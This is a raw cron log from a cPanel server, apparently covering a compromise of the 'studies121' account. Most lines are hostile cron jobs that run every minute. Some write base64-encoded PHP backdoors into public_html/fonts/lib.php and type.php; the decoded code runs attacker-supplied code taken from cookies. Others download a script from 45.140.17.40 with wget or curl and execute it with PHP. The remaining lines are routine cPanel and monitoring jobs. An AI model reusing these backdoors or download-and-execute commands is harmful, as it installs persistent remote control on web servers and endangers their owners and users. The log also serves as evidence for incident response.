Aug 30 19:09:01 ip-184-168-122-23 CROND[28906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:09:01 ip-184-168-122-23 CROND[28908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:09:01 ip-184-168-122-23 CROND[28909]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 19:09:01 ip-184-168-122-23 CROND[28907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:10:01 ip-184-168-122-23 CROND[29002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:10:01 ip-184-168-122-23 CROND[29005]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:10:01 ip-184-168-122-23 CROND[29007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:10:01 ip-184-168-122-23 CROND[29004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:10:01 ip-184-168-122-23 CROND[29008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:10:01 ip-184-168-122-23 CROND[29016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:10:01 ip-184-168-122-23 CROND[29017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:10:01 ip-184-168-122-23 CROND[29018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:11:01 ip-184-168-122-23 CROND[29386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:11:01 ip-184-168-122-23 CROND[29388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:11:01 ip-184-168-122-23 CROND[29389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:11:01 ip-184-168-122-23 CROND[29390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:12:01 ip-184-168-122-23 CROND[29476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:12:01 ip-184-168-122-23 CROND[29479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:12:01 ip-184-168-122-23 CROND[29478]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:12:01 ip-184-168-122-23 CROND[29481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:12:01 ip-184-168-122-23 CROND[29480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:13:01 ip-184-168-122-23 CROND[29650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:13:01 ip-184-168-122-23 CROND[29652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:13:01 ip-184-168-122-23 CROND[29653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:13:01 ip-184-168-122-23 CROND[29654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:14:01 ip-184-168-122-23 CROND[29733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:14:01 ip-184-168-122-23 CROND[29735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:14:01 ip-184-168-122-23 CROND[29736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:14:01 ip-184-168-122-23 CROND[29734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:14:01 ip-184-168-122-23 CROND[29737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:15:01 ip-184-168-122-23 CROND[29837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:15:01 ip-184-168-122-23 CROND[29839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:15:01 ip-184-168-122-23 CROND[29840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:15:01 ip-184-168-122-23 CROND[29842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:15:01 ip-184-168-122-23 CROND[29841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:15:01 ip-184-168-122-23 CROND[29843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:16:01 ip-184-168-122-23 CROND[29970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:16:01 ip-184-168-122-23 CROND[29975]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 19:16:01 ip-184-168-122-23 CROND[29977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:16:01 ip-184-168-122-23 CROND[29974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:16:01 ip-184-168-122-23 CROND[29973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:16:01 ip-184-168-122-23 CROND[29972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:17:01 ip-184-168-122-23 CROND[30065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:17:01 ip-184-168-122-23 CROND[30067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:17:01 ip-184-168-122-23 CROND[30070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:17:01 ip-184-168-122-23 CROND[30068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:18:01 ip-184-168-122-23 CROND[30240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:18:01 ip-184-168-122-23 CROND[30242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:18:01 ip-184-168-122-23 CROND[30243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:18:01 ip-184-168-122-23 CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:18:01 ip-184-168-122-23 CROND[30245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:19:02 ip-184-168-122-23 CROND[30338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:19:02 ip-184-168-122-23 CROND[30339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:19:02 ip-184-168-122-23 CROND[30341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:19:02 ip-184-168-122-23 CROND[30340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:20:02 ip-184-168-122-23 CROND[30436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:20:02 ip-184-168-122-23 CROND[30437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:20:02 ip-184-168-122-23 CROND[30441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:20:02 ip-184-168-122-23 CROND[30442]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 19:20:02 ip-184-168-122-23 CROND[30440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:20:02 ip-184-168-122-23 CROND[30447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:20:02 ip-184-168-122-23 CROND[30448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:20:02 ip-184-168-122-23 CROND[30443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:20:02 ip-184-168-122-23 CROND[30444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
